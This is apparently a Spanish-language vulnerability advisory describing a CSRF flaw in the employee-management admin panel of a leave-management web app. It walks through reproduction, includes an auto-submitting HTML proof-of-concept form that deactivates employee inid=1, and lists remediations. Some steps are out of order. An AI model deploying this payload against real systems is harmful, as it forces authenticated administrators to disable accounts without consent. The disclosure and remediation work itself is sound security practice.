
La funcionalidad Gestionar Empleados es vulnerable a Cross-Site Request Forgery (CSRF).
Un atacante puede engañar a un administrador con sesión iniciada para que envíe una solicitud falsificada que inactiva a un empleado (p. ej., inid=1) sin el conocimiento o consentimiento del administrador.
Cadena de vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Módulo: Panel de Administración → Empleados → Gestionar Empleados
Acción: Inactivar empleado (a través del parámetro inid)
Iniciar sesión como administrador
/admin e inicie sesión con credenciales de administrador válidas.
Abrir Gestionar Empleados

Capturar la solicitud de inactivación
Active la intercepción en su proxy (p. ej., Burp Suite).
Haga clic en Inactivo en un empleado y capture la solicitud que inactiva al usuario.
Observe el parámetro inid en la solicitud (p. ej., inid=1).

Generar el PoC de CSRF
inid=1 para inactivar al usuario 1.
Disparar el CSRF como víctima
Aloje o abra el PoC HTML en un navegador.
Mientras el administrador tiene sesión iniciada en la aplicación, si visita esta página PoC y envía el formulario, el usuario será inactivado.
A continuación se muestra un PoC típico asumiendo una solicitud
POSTcon el parámetroinid:
<html>
<body>
<form action="http://localhost/elms/admin/manageemployee.php">
<input type="hidden" name="inid" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Guarde esto como csrf_inactivate_emp1.html.
Envíe/alojes este archivo y consiga que un administrador autenticado lo cargue y haga clic en el botón.
Un atacante puede forzar a un administrador autenticado a inactivar empleados arbitrarios engañándolo para que visite una página maliciosa.
Esto puede conducir a:
Desactivación no autorizada de cuentas, afectando la disponibilidad de las cuentas de usuario.
Interrupción operativa (p. ej., empleados deshabilitados durante operaciones críticas).
Posible abuso combinado con otras vulnerabilidades (p. ej., desactivar ciertas cuentas de monitoreo o privilegiadas).
El ataque solo requiere que:
El administrador tenga sesión iniciada, y
El administrador visite una URL/página maliciosa controlada por el atacante (phishing, iframe incrustado, enlace malicioso, etc.).
Dado que esto manipula directamente la gestión de usuarios en el portal de administración, este problema debe considerarse de severidad Alta.
Implementar tokens de protección CSRF
Agregue un token CSRF criptográficamente seguro e impredecible a todas las solicitudes que cambian el estado (p. ej., inactivación, eliminación, actualizaciones).
Incluya el token en los formularios como un campo oculto.
En el lado del servidor, valide:
La presencia del token,
La corrección del token, y
La asociación del token con la sesión de usuario actual.
Rechace la solicitud si el token falta o no es válido.
Usar cookies Same-Site
Configure las cookies de sesión con SameSite=Lax o preferiblemente SameSite=Strict cuando sea posible.
Esto evita que las cookies se envíen automáticamente en solicitudes entre sitios, reduciendo el riesgo de CSRF.
Aplicar métodos HTTP adecuados
Asegúrese de que todas las operaciones que cambian el estado (como inactivar un empleado) usen POST (o PUT/DELETE) en lugar de GET.
No acepte cambios de estado sensibles a través de parámetros GET.
Validar cabeceras Origin / Referer
En endpoints sensibles, verifique la cabecera Origin o Referer para asegurar que las solicitudes se originan desde dominios de confianza.
Si la cabecera falta o proviene de un origen no confiable, rechace la solicitud.
Endurecimiento de la interfaz/flujo de trabajo
Agregue confirmación del lado del servidor o flujos de reautenticación para acciones sensibles (p. ej., inactivar usuarios con roles de administrador).
1
Verificar el efecto
Vuelva al panel de administración → Gestionar Empleados.
Observe que el usuario 1 ahora está marcado como Inactivo.

Implemente verificaciones de autorización adecuadas para garantizar que solo los roles previstos puedan realizar la acción, incluso si se intenta un CSRF.
Pruebas de seguridad
Integre comprobaciones de CSRF en las pruebas de seguridad periódicas (manuales y automatizadas).
Vuelva a probar este endpoint (y otros similares) después de implementar las protecciones para verificar que el PoC ya no funciona.